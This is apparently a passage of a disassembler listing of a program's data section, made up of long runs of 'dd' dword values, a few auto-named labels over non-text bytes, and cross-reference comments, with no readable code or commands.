dd 0ADD8E003h, 0CB2F7001h, 0AC9F9CAh, 35BEE0EBh, 3FB93C15h
dd 0A9386400h, 24AB60AEh, 0C966132Eh, 3D528500h, 0B97F5Ah
dd 2036714Ah, 0A25E78F4h, 17B88600h, 9E34FDC6h, 75600EEAh
dd 9AE0E12Eh, 8F117D97h, 641D1A1Ch, 0C83BC200h, 0E0EAD4F4h
dd 0B075724Ch, 0D7EC31F6h, 0DCF129D8h, 850135B2h, 7361780Eh
dd 2F0B8F5h, 0CE9022h, 0C2F910D2h, 76267BCDh, 2EACA530h
dd 5E1AAFh, 4E812A59h, 0FA194786h, 83422B01h, 0D528835h
dd 336C9E0h, 0AA77E9A7h, 0F09FC38Fh, 4FBA7E96h, 7A45C612h
dd 197D300h, 0C1BEFFh, 7D78456h, 9F8217F1h, 30901100h
dd 3F5E9910h, 4A1F2678h, 349800F8h, 6A6EEBE1h, 82A6DC38h
dd 323F8512h, 0EF1C40D7h, 408F005Dh, 25D24FFAh, 5F00D61Ch
dd 1904BFA2h, 0B46D17h, 0F6E9952Eh, 18A13549h, 570E677Bh
dd 2F947D04h, 2CA800B2h, 1329ACF6h, 93943DDh, 74B06B1Ch
dd 19002AD4h, 0C9E06E12h, 3C42FFh, 2220ACF4h, 0D60D32F8h
dd 409A5507h, 0C9D1E514h, 79A42F8Bh, 0DC013FCCh, 10BD64B6h
dd 0C414EC6Dh, 0F3952000h, 0A697B84Fh, 835348F5h, 0F88A3100h
dd 0CEBEC72Ch, 7D017F00h, 386164E9h, 0F2D738A6h, 46724700h
dd 11AAE2C5h, 0EAE66F01h, 41D86C52h, 21AB1C8h, 10DABCCAh
dd 80A3AB18h, 8D909D2Ah, 7B005B6Ah, 380521C8h, 1C5149Ch
dd 0EDD7A470h, 0D1DE26BEh, 1FAFEC44h, 72202207h, 0D9E945h
dd 4B336CE6h, 17F479h, 88D805FEh, 0E50C16A3h, 6D0140F2h
dd 872A0B78h, 48C86A3Fh, 2E06000Eh, 8117F2E6h, 663FE154h
dd 752687E3h, 0BC106488h
dd 3738341h, 2F9CB930h, 0A3C0FF5Dh, 0BC90D9CFh, 0ECB41303h
dd 98B3E07Bh, 2A04D6h, 0F98D0FF4h, 48F6357Dh, 0A54C0900h
dd 0BF4116A2h, 0D38E1EFBh, 244440F1h, 0E65E1E9Ch, 55DC5F00h
dd 5C820492h, 0E3B1C63h, 3A0C40E7h, 83054979h, 584D8A00h
dd 52EF6B99h, 0C1D90FFFh, 666008D3h, 0F7FEB93Ch, 480F6AF2h
dd 0DC27459Ch, 88EB9DC0h, 6EA858h, 253740E9h, 8A8061F7h
dd 0B26D0D00h, 0DAB727C2h, 75FDE8E3h, 0BBE900D4h, 41D55B02h
dd 0F400FAB9h, 97A65E7Fh, 54D9F6h, 682C79ADh, 0CD9A070Fh
dd 0C3705118h, 13431038h, 0B18C2h, 2A79B8D8h, 563D9C6Eh
dd 0A644001Bh, 45D281D9h, 5C9A89h, 87D7A58Fh, 0A0276542h
dd 0BF0010B0h, 4C54C3EAh, 0B8CD4E91h, 0C13538A9h, 8114CC00h
dd 94B4FC61h, 960F7400h, 550AD2C4h, 0EDC3FA6h, 0B67DD800h
dd 0EA5A724Dh, 94678C01h, 575C6639h, 0D80F5C7h, 0B6E45EEh
dd 7F99A258h, 27872F00h, 0E3030A51h, 0F10F1592h, 2480BD4Fh
dd 21502Bh, 2CAB1E5h, 9AA54249h, 0AF7A5200h, 0A94F38EEh
dd 86D601F8h, 6793F150h, 0EC5FD969h, 2C14491Ah, 0E8B894h
dd 1EA55C42h, 0C9DE72h, 9CFA8F7h, 0B20C5CCh, 828BC200h
dd 0D92CBB07h, 444D007Ah, 9E94F2DAh, 14007D0Dh, 60578130h
dd 0BD5837h, 0C9A71BEBh, 0B521C62Dh, 9114B3Ah, 80BFCB76h
dd 4EBB0ED0h, 99987682h, 0CA3E0038h, 0D816B4C3h, 4C6ACF39h
dd 4CE005F0h, 8CC06DF4h, 25F7BDCh, 26BF349Bh, 0C8807520h
dd 0FB9C2AFFh, 33EE700Fh, 6FBAE48Ah, 5073ECC1h, 4548430h
dd 4B779DFCh, 3029C73Dh, 0B99BF36Ah, 97CFB03h, 7B54E1EBh
dd 705C002Ah, 0FD65A48h, 35008C3Ah, 1A0799A3h, 9BE511h
dd 0D83DCC14h, 0A05752C1h, 0ED0A4300h, 5E775433h, 0C5EB00BEh
dd 446C17C9h, 2E1415AFh, 70C0F929h, 98B83F00h, 0EC842D81h
dd 3AB0E4h, 0D66B83DBh, 0DE2FA330h, 0C8A0BBF4h, 580057D0h
dd 0DBE19847h, 555D70h, 0C1E49DC0h, 0E00982C4h, 0BD9D800h
dd 0D3891E6Bh, 3E200F9h, 9274F13Dh, 6700BAA2h, 0D8DD7FBFh
dd 1419E05h, 0B70CED22h, 20CBC05Bh, 0E4012370h, 2C71EBFCh
dd 3231C74Ah, 0B93400C3h, 3732A58Dh, 0F5007C19h, 0CF3126D2h
dd 1C829EABh, 0A4149441h, 0D6AE01B3h, 34658AECh, 0C0C0B200h
dd 30D7F8FEh, 0F98B04E3h, 0C0E5205Bh, 0B480FD0Ah, 0D09D7800h
dd 4F99B177h, 0DF7303h, 0AB5B7212h, 4484A661h, 4455D4Ch
dd 2541C960h, 4FD58980h, 16F57211h, 0B7977A4h, 480066DFh
dd 0F99A824h, 211D91F8h, 71405111h, 676F2B20h, 0F78F00D0h
dd 501C0DCEh, 130E3DBDh, 0E07C4706h, 0FED016E7h, 0AED90002h
dd 59B25871h, 6E0055E9h, 4CD2CEE2h, 3027BA19h, 90A09F54h
dd 8E000C15h, 14720A42h, 56A3B8h, 84783669h, 0CF6E371h
dd 20DEE905h, 0B4D78C01h, 0D3C5C130h, 9C450063h, 18C0253Ah
dd 0B81809D0h, 31B8BF6Fh, 0EB720007h, 225FF432h, 0A2EE993Eh
dd 0CA106A01h, 6681AE33h, 1CB650F4h, 408B1F69h, 5E41AAE5h
dd 0E91E75DAh, 0AF40BD94h, 2019E103h, 0FE27007Fh, 0E8791FAAh
dd 3112D10Dh, 8C401145h, 1823FA9Ah, 2AF0026Ch, 0E7D9E35Bh
dd 9C83D040h, 16C1B5Ch, 192CDD94h, 2C30A693h, 11677D25h
dd 601CBDh, 1D2A33BFh, 102DCE4h, 6C586197h, 574D74A8h
dd 0C3FD10C8h, 8200064Bh, 5360BF10h, 0E39031h, 43374EE7h
dd 6D8020B0h, 0D17C9109h, 635C005Dh, 3FB3556h, 965283EAh
dd 0C4C8B9BEh, 0B6005E26h, 0A230F842h, 1312C83Ch, 81D80h
dd 10B81888h, 2A1F9CAFh, 0E280A103h, 7C70EB14h, 794F0556h
dd 3B729D6h, 2AAFFED6h, 0C9A77D0h, 1F3EC871h, 519C0048h
dd 71699B5Bh, 1CA8001Dh, 2C2DD85Fh, 2A019572h, 3E5AAA7Eh
dd 4C30BBA5h, 54EA0093h, 380B1490h, 772E08Dh, 490F1700h
dd 0C706F0C3h, 53E900A1h, 4F7751A5h, 0AC98CF94h, 3116B072h
dd 3C02ED89h, 7AB1D96h, 2C51A254h, 0FB5F60E0h, 0EC2DC400h
dd 0F4C9CCDFh, 0D76300E1h, 0AB2CB43Dh, 940006AEh, 0FCA68BC6h
dd 324781h, 44FA3C9Bh, 0F87976EFh, 547FBE01h, 5F71E67Ch
dd 0CFA1A840h, 9919006Bh, 4FED286Dh, 7037F1A4h, 8F7080DDh
dd 1FBD5FE0h, 426B7E60h, 9903D4DFh, 5EFB4077h, 30FD003Eh
dd 75EA9511h, 51002FEBh, 3C3F4D8Ch, 2B808h, 8EE8FA92h
dd 9FF06139h, 70CB04Ch, 0DD3033Ah, 0DF87E740h, 897D035Ch
dd 0CEB06531h, 0C0C1C4B0h, 0E97CE600h, 0D05A7E08h, 61C90028h
dd 58E84873h, 2F29603h, 0A988B61Dh, 0D751CBh, 892B4A39h
dd 3BCF3E18h, 1B774D01h, 40D271A6h, 21D3D4D2h, 73ABDE01h
dd 2E2D799Fh, 4E066038h, 0F8A96245h, 989E1E01h, 4A90AEF5h
dd 0E569003Fh, 0E7EF64Bh, 0A4508900h, 70608780h, 6E300E9h
dd 0E802DEBFh, 4100DB76h, 9653A582h, 1219BF9h, 0B868E8Fh
dd 0E09CF6D9h, 2F00B6A7h, 24BD2EDDh, 13ABC83h, 0EA7F5FCCh
dd 0FC449E4Dh, 800B0CA7h, 80AC127Eh, 9D096D1Eh, 308E00A8h
dd 3ED8205h, 50C0B001h, 51E9D79Fh, 0E7C600FDh, 0BA71071Bh
dd 5700E4DDh, 0A09A9964h, 6C88BBh, 1D9EE737h, 59E14352h
dd 0D47DC11Fh, 0B0000FD6h, 0D934589Bh, 4088A078h, 207B0025h
dd 0A6621AB1h, 87167329h, 5807E672h, 7C705242h, 3514EBCh
dd 0C3931231h, 0D5E877D9h, 0B50F7383h, 0C0F4EB6Ch, 29D83FE8h
dd 48A4CDFh, 4977C104h, 6770C7EAh, 40228098h, 0B1004829h
dd 4C9B6CE9h, 1D4EFB42h, 8F179EA8h, 55635A0h, 4116B010h
dd 3A44D4D8h, 7CC007B5h, 18B51F1h, 8E38B0A5h, 24BD60D7h
dd 0AA021CCCh, 5FE3B267h, 0C824C04Ah, 4EFC0029h, 35C5B4FAh
dd 0DF09E9E1h, 0CB8DF58Fh, 311AB888h, 0DCAA0F5Ah, 2F200EA6h
dd 66FAF87Ah, 0D5054C98h, 0E94E2DD0h, 2E2AA881h, 80DE07D4h
dd 44006DBBh, 0B3764993h, 43CD6Eh, 0D135A727h, 60BE0CD5h
dd 6D856C03h, 0F09E499Ah, 0CB06E0h, 0BC1B5DD9h, 3EF7B7A0h
dd 0ADB2C801h, 0B16BCD15h, 0C65F2601h, 0DE609C40h, 742FD600h
dd 17F4CF8Eh, 0AB44587Eh, 46505500h, 600CCCBBh, 2E940909h
dd 0D7C46075h, 0F2FB032Bh, 52EF7A7Dh, 0DB423AD8h, 9D59CC00h
dd 7201C262h, 0D2870675h, 0D0AA8341h, 0F6016477h, 99C38090h
dd 4D20E2C1h, 0ACC400FDh, 0C7EB292Ah, 4E4C093Bh, 18E60B5Ch
dd 0BE142392h, 0EDBFC0A5h, 0F6C203E4h, 705AAE6Dh, 3C6AA0BFh
dd 7B01B7B3h, 41DAACEFh, 6830E888h, 0D1B5002Eh, 1E9EE525h
dd 1F7624ECh, 890BFC00h, 0F9C4625Fh, 0CFB098Fh, 8F000EC9h
dd 2C44B4ECh, 8201D778h, 0CE8DC4A4h, 0E03F31D4h, 1AE60B23h
dd 0FAD52526h, 8E04E020h, 0EDCDDA09h, 0A85D8700h, 0DB80A2E7h
dd 0B863264Dh, 700E8018h, 55DC4723h, 0AC17347Ah, 8C1CC7DDh
dd 0BE6D3987h, 0EB2281EEh, 0DCC4BCF9h, 17950040h, 0CC13655Eh
dd 0B287035h, 8617E0B5h, 88019480h, 529514F0h, 4928F8h
dd 0B513E0AAh, 30688761h, 0CD8C8300h, 5E770925h, 0DC3109B4h
dd 60608D88h, 8BF2C068h, 1D4EE39h, 237BF507h, 22E12F24h
dd 2C8AD074h, 28CC11h, 0EE820FD1h, 6C00E566h, 0A65285F8h
dd 60566DAEh, 735BF0CAh, 5C54693Bh, 0E45C53E0h, 43F206D8h
dd 0B60596h, 0CD590ECFh, 0BCA9499Eh, 920824Ch, 8093422Fh
dd 8EFA8BEh, 303C0483h, 0A0D65696h, 250FECC8h, 5462F7h
dd 2C81798Dh, 30CA5C45h, 17D29400h, 1B39BDFAh, 503427Ch
dd 1AA4E5D0h, 10E1E81Dh
dd 300324E3h, 0FCCA8044h, 2F7B7248h, 2848009h, 0CC6C2073h
dd 940BB662h, 61B107C0h, 4819F00Ah, 0BA4C7D9Dh, 1B460004h
dd 0B65C180Bh, 94BC0010h, 0A5E14B8Eh, 4C001AFFh, 0D3F32371h
dd 3366CDAh, 0D5078D4Dh, 0DFD1F408h, 0B46820A1h, 0FA17D8B0h
dd 7C40C03Ah, 0F2C4D939h, 35231C57h, 1CAF4692h, 463A0266h
dd 71C080EAh, 3F68D5C9h, 0CCF507CBh, 103CF667h, 0C6EF469Bh
dd 2FB5A600h, 9CBB6C05h, 53FC1847h, 24B9581Ch, 0DCDC58h
dd 91A5B21Bh, 2CB37A34h, 7354F65h, 306D3E0h, 0D0B72FD8h
dd 0F1346B64h, 80E4663Fh, 2547B29Fh, 7F10C7A6h, 7E5324AEh
dd 422A1F74h, 0F12ED5F8h, 11B00040h, 0B6006875h, 95A9DBC2h
dd 3260C3Bh, 1789B4F9h, 50012E8Ah, 78563C61h, 0FEE4AA24h
dd 80F2E3h, 1FD8C627h, 86483DD9h, 518B780Bh, 0A5988006h
dd 174AE05h, 3717F35Dh, 0E862D464h, 42009CA3h, 991821CAh
dd 90FDB0h, 8BBF35CEh, 4617919h, 0EC268200h, 1FC5E160h
dd 2E74E0DDh, 388D731h, 4BC805BAh, 73CEEEE0h, 0A2FDCA00h
dd 64F7CFF6h, 0FC2007BDh, 71ACF29Dh, 0D4939261h, 6003277Eh
dd 0E1A93A78h, 0F0E0F44Ah, 0C0A74230h, 84442A33h, 396B0074h
dd 26B2BB58h, 61031CE2h, 0AECA06D8h, 8E13D8A7h, 2DCAA0C4h
dd 0FA7302DCh, 0EE91C085h, 31303AF4h, 0C1596h, 6E24478Dh
dd 36F0BDF9h, 0E7CE7300h, 4E7D50B5h, 0D110006Ch, 1CEAA9CAh
dd 727C98C7h, 12784D58h, 88D0A74Bh, 0E4D741B7h, 0CE050079h
dd 8BA12E1Dh, 270EBE1Fh, 4042D8E2h, 0CD96DF1Bh, 0C1030018h
dd 8BDA40B2h, 98000289h, 151DEB2Bh, 387FA3h, 3BB5E3D6h
dd 13F7E273h, 4F399A04h, 0F4C02D0Fh, 70BFF96h, 110ADE33h
dd 495A409Eh, 0EF00B36Ch, 5C1AA546h, 3CB2A4h, 0D989749Ch
aAvaSx db 'AvaÒså',0 ; DATA XREF: ___:00444AF4o
; ___:00444B0Co ...
aRSdjD0 db '!S¤J±„0',0
dd 9DB6AAE1h, 8B4613E7h, 142584Ch, 7A207C08h, 66EC4E5Ah
dd 5EE60049h, 0B2EE9FAh, 0BB07E393h, 0E80E03D9h, 15A8B2C0h
dd 0C7200EC8h, 868757A1h, 6C8099BCh, 51677A1Dh, 28B1F312h
dd 0D0DC5000h, 119AF22h, 5CC8E1F0h, 2D2FDA6Bh, 0AD6A0060h
dd 0FAA586E0h, 0A7E614DEh, 0A400D851h, 5408B63Ch, 4424ED64h
dd 68039DE0h, 0DA8963BDh, 2844E9D7h, 0BA005439h, 0A24481Bh
dd 552FCA2Dh, 949C0023h, 74C7AAh, 13D144B9h, 0CCA99C3Fh
dd 6AEC3875h, 7BBB7300h, 0AFCB2926h, 51FE31h, 5AFBE116h
dd 0D7A844EFh, 0EBE3FA00h, 68CFF14Ch, 58B0048h, 5F1840D4h
dd 7D00FC6Dh, 0ED2EB6BDh, 4F989Eh, 69C00111h, 5FCB34BAh
dd 77081E16h, 543CD044h, 7FFF0C8h, 0E2CF982Ah, 98A30B20h
dd 0E0C02385h, 5C0004AAh, 16C41170h, 888BDh, 941EB4CDh
dd 1DC74A22h, 8E37E200h, 9DC7C52h, 924C0189h, 0D603CE8Bh
dd 0C2020A0h, 0D2536301h, 4C1768F5h, 7DBDE4E0h, 0F7130077h
dd 0C9FBDB7Fh, 0BB003D93h, 0DA76F035h, 7E9A039h, 6D4B6CF1h
dd 0AD54509Ch, 0FA00DFB1h, 0C5622FF4h, 3A60E79Bh, 0D03063D8h
dd 26097196h, 0FF653001h, 2D2F16EFh, 7885A6C8h, 0A550079h
dd 2A1E4F6Ch, 0E503F818h, 1B457075h, 53F4985Eh, 0BE65130Fh
dd 1B00ABB4h, 356ACA01h, 10430A58h, 0F84182h, 2AD57C4Ch
dd 17001EA1h, 0E897C08Eh, 4433F9h, 0B90D4B75h, 0A71DD38Dh
dd 47988250h, 857A2Fh, 34DC1B90h, 6F7D1F0Bh, 0C01C82E3h
dd 94603BF5h, 261CB8F9h, 0A300C975h, 37767857h, 8A4700A1h
dd 0BD4A5B6Dh, 8500B1BEh, 81F8BAD9h, 98050B78h, 0C1E5C6Ch
dd 2D17E403h, 7D80A3FDh, 9B00D4F9h, 9AAB3328h, 7238F2h
dd 0BEA23934h, 74D6CBE7h, 3726DF13h, 67B0F702h, 7A58487Dh
dd 1CC600ABh, 160376DDh, 27005C8Ch, 0C3DB60D3h, 1720B4Dh
dd 8F3E614Ch, 201D7519h, 7B04C598h, 0B304305Fh, 5B8A3880h
dd 6C4B0369h, 538D42BCh, 6B0428D6h, 78A689E4h, 12BBA097h
dd 805CD3C4h, 32DD4AF1h, 130FC37Dh, 0C1D869D9h, 55DB46EDh
dd 0FA33F460h, 5FEC00BFh, 0ACAF56ADh, 0E017DCE4h, 3009C952h
dd 4BB8110h, 65E069CEh, 0A46181Ah, 64D77642h, 0F38D5703h
dd 0B8115D41h, 1BCCBE9h, 3325E5EAh, 0C0D734A4h, 0CE00175Eh
dd 0DB703C3Ah, 2D38FAh, 0E6D37FBCh, 896DE564h, 0BE26523Dh
dd 0A71E93EAh, 79C1210h, 0ABCC2EF6h, 623AB7E0h, 0FD9300B5h
dd 0E4229911h, 97EF60h, 0D10488C8h, 0BA5E0E3Bh, 0E2C1B54Ah
dd 62224FB6h, 29AD00ACh, 97DEAB54h, 0CCB235h, 89148EB3h
dd 1C835D28h, 0C7D9E51Fh, 48D18100h, 175752B6h, 0DCE7AE94h
dd 0C8B4A0D0h, 2D03F0ACh, 82C0C9A6h, 7ACC0D6h, 277C0C9Eh
dd 1EE62989h
dword_524550 dd 984F241Fh, 780EFE57h, 83DB80E3h, 9B3235h, 0D92EA31Dh
; DATA XREF: ___:004449E4o
dd 0AAE23945h, 3D20D02h, 405849EEh, 0D0D789h, 8EB88D3Bh
dd 7F9232A1h, 1C8F7A58h, 10CED321h, 0ACA58067h, 60B3CDEh
dd 0BF2FF0CEh, 0B500E21Bh, 5B0CC9E0h, 140A9A8h, 756B7938h
dd 0DCE1864Eh, 309060C2h, 0F53D0900h, 72E07C7Bh, 63B80762h
dd 220AEE6Eh, 6C504CF1h, 0D0167700h, 5DB894CCh, 0BAF90071h
dd 5AEC653Fh, 32000213h, 0D8A0F86Eh, 43DC39h, 0E2C05872h
dd 165CCB04h, 3E2E9003h, 0B70170F6h, 0E8F269E3h, 242A52EBh
dd 4CFAA2h, 4BDD34A0h, 18C0D613h, 98A6CC90h, 0DEF21823h
dd 5D7A0892h, 9F20FC63h, 8F34E02Bh, 6E981DA4h, 0A93040A3h
dd 6C83CDF3h, 0E11E11F4h, 554079DCh, 2D04BC54h, 6197077Fh
dd 0FC364029h, 43005A18h, 8D92A0BAh, 7C739DBDh, 807713h
dd 0A6527E86h, 0AA46DAB5h, 98C3C598h, 9FEE5515h, 989E894Dh
dd 4229C3DDh, 67B06C3Ch, 8A00121Dh, 0EAC59A4Dh, 0C0911033h
dd 7C9FB1B0h, 20A0E155h, 0D2015CA9h, 0BA293E27h, 0BCD005FFh
dd 13550BD3h, 680ABCDh, 307B66D7h, 40B91000h, 20E8FEC4h
dd 5F3E0347h, 51E0E02h, 53D08788h, 360012E2h, 812CA154h
dd 0A0FD85EFh, 3F4143A0h, 9080E642h, 0CAC038E9h, 7400198Eh
dd 0A0FF85D2h, 0E267B165h, 0CCD50F92h, 4C5F9029h, 0D0A8089Bh
dd 0E1A0A573h, 591F728Bh, 74C07781h, 17145C5Dh, 88C900BDh
dd 23EB2613h, 7D00AEBEh, 6DD53EF7h, 736ECFDh, 0E62F27E3h
dd 2AB38069h, 43FCFC74h, 1F7AB200h, 52A8308Eh, 0C1DC005Ch
dd 0D667194Fh, 8200BA3Eh, 0EA02CEF9h, 12D336E1h, 0CCAA26h
dd 5544A77Fh, 88E42A53h, 7F92C02h, 0DD25E069h, 0E58A6E80h
dd 9A0124EAh, 0E1314A81h, 0BC52299Eh, 7704952Ah, 69C0841Fh
dd 5C346ACh, 200F5280h, 0FA21CDE0h, 227A10C0h, 0A73098h
dd 4BE81472h, 0BF37074Dh, 0CD2A7700h, 0D7D81F33h, 0CACE327Ah
dd 0B011F029h, 20444F08h, 0DCCF4451h, 1D641084h, 80B2178h
dd 0C2BED306h, 2810FF11h, 0B5733C47h, 85080489h, 0A3296664h
dd 12DE3821h, 61C41020h, 8B1EFF88h, 8C22E2B2h, 67082EDAh
dd 7C84FB90h, 0D96844E7h, 0CBF7B200h, 740040B5h, 0F1573B9Ah
dd 0CF8E23h, 1AD1701Ch, 6324C0AEh, 87B9E500h, 0D3C9AD2Fh
dd 2A1100CBh, 86B6A428h, 39005C09h, 414E475Ah, 0F03199h
dd 78D436BDh, 0E9162579h, 0FBF1E02Ch, 0DC56B100h, 1CA4D313h
dd 7C9E1BD1h, 587B4084h, 582C0A0h, 1201F02Ch, 9D17666Ah
dd 0F4C09B03h, 0D0CA3B33h, 0E5D1CD00h, 0AF93DD47h, 8F281400h
dd 0A2835ED7h, 0BAE4003Ah, 23B33ECAh, 7B01756Fh, 0C2A43D3Fh
dd 2824D55Eh, 6D80089h, 9B0A3638h, 0DE0009B1h, 682A05BBh
dd 0D57E49h, 285F7CA7h, 0D9A6C53Dh, 4812D600h, 0C3EC6CCh
dd 18E8F404h, 98E6495Ah, 5000190Eh, 10A91B4Bh, 0F5FB18Eh
dd 0D566BD3Eh, 2DE97002h, 917E8B58h, 0C5561709h, 0B55C20CBh
dd 1BD9BB4Dh, 849A1413h, 96B042AEh, 0A498EB60h, 0DC039h
dd 0F45B7248h, 0CD0C694Ah, 8D5F0100h, 767A2540h, 56F48Eh
dd 87ECFE2Ch, 3D2B94A2h, 49EACD03h, 0F6C5BBACh, 77FDFEC0h
dd 0D93500B5h, 480F066Ah, 0EBE2440Ah, 591E2FFAh, 439C4731h
dd 1E8F0B00h, 1E3DAD93h, 7FE6AB3h, 216D151Dh, 0C01F22FAh
dd 800046A1h, 0F98E7A42h, 0A3CE9A7h, 0DED095BCh, 0AFF300E4h
dd 9C1735BBh, 41AB9202h, 8076E1C5h, 0D0376AA0h, 1078977Bh
dd 0C80028F6h, 6609442Fh, 0A1619Dh, 6BBF9B0h, 0E71D975Fh
dd 1932AB0Fh, 0C85220B7h, 0B8766C21h, 3F2C09FFh, 811EFEh
dd 607C92A5h, 7AE01BD3h, 0E46D7200h, 0A13538F0h, 480A5C71h
dd 0B8BE4100h, 0B918F6CBh, 75729B00h, 0FD95500Dh, 2C990053h
dd 0BBCCA54Dh, 0AA03BD71h, 0E154338Eh, 0F8B4E309h, 9259089h
dd 0C5686CA1h, 60FF4100h, 0AB7B07EEh, 9A4C5Ch, 0B28EC8Bh
dd 1C5A608h, 278CD310h, 70A2A46Ah, 0F01F2B21h, 4A00EAD5h
dd 29552D25h, 9DF7E35h, 0C0E60710h, 820B6402h, 0AD8D0C48h
dd 10202F6h, 2034B796h, 0D0AAE02Bh, 9EC76E3h, 0B2664908h
dd 3BF78CA0h, 700D5A7h, 69EDB6EFh, 0EB9802h, 0E5847127h
dd 0D6C14618h, 34F8FA24h, 0FB078800h, 696413h, 9F08A5C5h
dd 0C12E3EE7h, 8058563Eh, 0E374BD23h, 501927Fh, 206E6762h
dd 0CF400D1h, 0D683F412h, 0FA813602h, 4097F825h, 67FF1Ch
dd 9B6E6A3h, 33BE002h, 592A5809h, 646079Ah, 3438AB80h
dd 5C53006Ah, 4B27E1BDh, 46007B2Bh, 0A7F45250h, 0B569FEh
dd 0A1670E49h, 0D8D73FBBh, 68774F03h, 0D095EEAAh, 7C44AF64h
dd 31C71772h, 0E638008Eh, 7D2C7E22h, 0B7C3F607h, 56B0C4EFh
dd 1F9CBB05h, 0C095961Bh, 0BFF293E1h, 8800654Bh, 64E9180Fh
dd 0EE754h, 0F11FA6E2h, 7AFD823Ch, 47709400h, 1BD6D8B4h
dd 0B660084h, 269D6D78h, 0EA7B2D67h, 29A0CC00h, 0BEE29A9Bh
dd 0BB1100CDh, 7F1FF844h, 861C92A2h, 2900C722h, 0F52E73F6h
dd 0FF13003Ah, 0F09D99BAh, 0C99C53Eh, 219E0B00h, 0D70D48h
dd 74A36024h, 0CB33973Ch, 80BBC600h, 1548028Eh, 0DB6201ECh
dd 8AFE34F8h, 0AE3020C8h, 8E675F06h, 6210D5D6h, 0CD59764Ah
dd 0C765A240h, 933A7A00h, 9DD4E55h, 553043Dh, 97649749h
dd 85E74024h, 9913D4F1h, 68074B42h, 2D2126D1h, 10A4B083h
dd 6F7D002Fh, 0BCC20512h, 4701A0E6h, 0E67F043Bh, 0D46428F1h
dd 0C2E50E0Ch, 0BB449706h, 611080CEh, 0CD3C5F2Eh, 178485Ch
dd 0B13CFD05h, 0DC301D32h, 15182094h, 9AF68B7Ah, 0AC7CECA0h
dd 404C9900h, 4485F0DBh, 1DB90082h, 65CFCED5h, 0C241455h
dd 4F07DC86h, 0B7F220ACh, 0DBC0DD36h, 0F9013E84h, 86379DCh
dd 52C41832h, 0B71A6h, 5426294Ah, 0F373E8CBh, 1B81D91Dh
dd 903D7B80h, 1E501C9h, 0B12D9F37h, 0EC2B9364h, 0CF58BDF1h
dd 0D7DB00A6h, 7857551Fh, 0DC3506CDh, 282EE016h, 1211EB00h
dd 0B73E3A0Fh, 0D01C26D5h, 4C8E3B30h, 0DB6269CEh, 0D460A3E0h
dd 55489D8Ch, 37D6009Ch, 30FC925Bh, 21C51CBAh, 782FC008h
dd 971D3B94h, 0B1834A00h, 239D1069h, 24C8903Ch, 1217B9h
dd 340A5089h, 6E72FB6Dh, 6901AF0Eh, 2E36E34Dh, 95F1F16Ah
dd 5D194F8h, 2A9B71BCh, 29B80114h, 0DC04A23Eh, 964A7A87h
dd 72CF8B0h, 0BD7F5F6Dh, 0CD4E7059h, 0E80429B2h, 45A54C12h
dd 0A0ED9ACh, 8E0061E1h, 0F144E04Dh, 0D915D70Ah, 0F801C8A8h
dd 0D640BD7Eh, 7948C8h, 46F5502Eh, 10674523h, 1A01A102h
dd 0C8A8FA54h, 1CD35064h, 0C080787Eh, 0A3098E45h, 0C73D4F01h
dd 0FFFC5443h, 0E47A503h, 2AEB2Fh, 0B7F5EC8Ch, 1B87B48Bh
dd 4F8E8F00h, 0C547C980h, 90DC00AFh, 1D420910h, 7B0F2508h
dd 25A30ABFh, 0D803D8B5h, 8FA9C54Ch, 608035C2h, 28ACE590h
dd 39DCFA06h, 678020CAh, 411377B2h, 0BF7325E8h, 1C00A1ECh
dd 0CBFE9E7Dh, 713F5AECh, 4F3900F0h, 0C80B61E6h, 0F70287CDh
dd 3B90E7D2h, 7089E077h, 197623h, 0A9BAFBF0h, 3A5E50CBh
dd 16712200h, 0EC6C45F5h, 83D5004Ah, 0A610A46Bh, 0E700C5CAh
dd 7F11FE53h, 0C0CB210Ah, 72D31E98h, 9B048EB6h, 0EC39693Ch
dd 0DFB0A0h, 7B2F6E03h, 0F9FF345Ch, 0D7861B00h, 62C96804h
dd 387D96h, 0C011FD75h, 0CBE19530h, 119B33Fh, 5EBB425Dh
dd 12EC1AA2h, 8936177Fh, 0A5F802F0h, 0ACE0CCCEh, 7601C811h
dd 0C4A4C58Fh, 77C84CA9h
dd 0B4AE5DE4h, 4251200h, 3EB44A64h, 0F7006D75h, 8366F10Eh
dd 288F5Fh, 6E52F66Ch, 78EC5740h, 23312200h, 0B9FA750Eh
dd 0F50A0086h, 0FFCF885h, 163904DCh, 0A9450008h, 0F21238EBh
dd 7EF70901h, 88007DB6h, 0F8678D7h, 1076A100h, 7BC4384Dh
dd 0E7E400AAh, 0F28343E8h, 0F8002AB5h, 0C865738Bh, 209B731h
dd 3ED448F4h, 3CC0A1B0h, 0E47D4F3Fh, 0D3643Dh, 5FA7137Fh
dd 1D176FA2h, 0FD0AD7h, 0C1EA66F0h, 8E0004D5h, 2FCDD9B8h
dd 76419755h, 0D90260C4h, 155932CBh, 265B9B14h, 73D300B1h
dd 412F5D11h, 3B1F1681h, 0FBE3007Eh, 0F0CE172Eh, 5F80FA00h
dd 0C47F614Ch, 2CF40110h, 0A901E0B7h, 361080DEh, 0D67DA5A1h
dd 27B600DBh, 0CF62A4F7h, 51F66C47h, 755DCD1Dh, 6A7BF4CCh
dd 0BFF41Ah, 191687A9h, 0DE03BAADh, 0E3810601h, 0FD8BEE96h
dd 801ABADBh, 4B28C5A8h, 0BD680039h, 5991E799h, 4900C2EBh
dd 0EAA98F14h, 215E675h, 0CD88F053h, 8880B268h, 4AD61D4Bh
dd 7334A000h, 9F0F3AF8h, 0A8FE0FD0h, 50E178CBh, 0EFF69309h
dd 0BCB046A8h, 17B02EF2h, 0E4C27203h, 0DC73A74Ch, 38008A85h
dd 2A2B3DEAh, 76438F5h, 75465C0Ch, 2203CCEAh, 94ED3FD5h
dd 0C3EAB028h, 0ACD9006Bh, 502B3B91h, 0BC009015h, 0DBF26CC5h
dd 0BB0D58h, 0B4A5D165h, 0AC917B8h, 7CE87A00h, 96E2AF02h
dd 989500A6h, 2C39D365h, 0EDB8A423h, 0B0868C00h, 5F086C27h
dd 0D070B4h, 0FF428F94h, 0AC177C66h, 56E1E401h, 0F73BAF2Dh
dd 0F239B88Eh, 601F4B67h, 33F3A615h, 2EC3011Dh, 0C4DF2070h
dd 0A85A0024h, 207D8E83h, 0F16342Dh, 0A500882Fh, 28485D9Ah
dd 633E0070h, 85975926h, 1009CF6h, 4733B144h, 584B1E91h
dd 830E255Fh, 0B220B30Dh, 5AE5299Dh, 7D642500h, 0CA994228h
dd 162E03B1h
db 68h, 15h, 97h
aIty db '"ØI’y',0 ; DATA XREF: ___:00444B64o
; ___:00444B74o ...
aDblree db 'dbLRE¥È>',0
dw 8760h
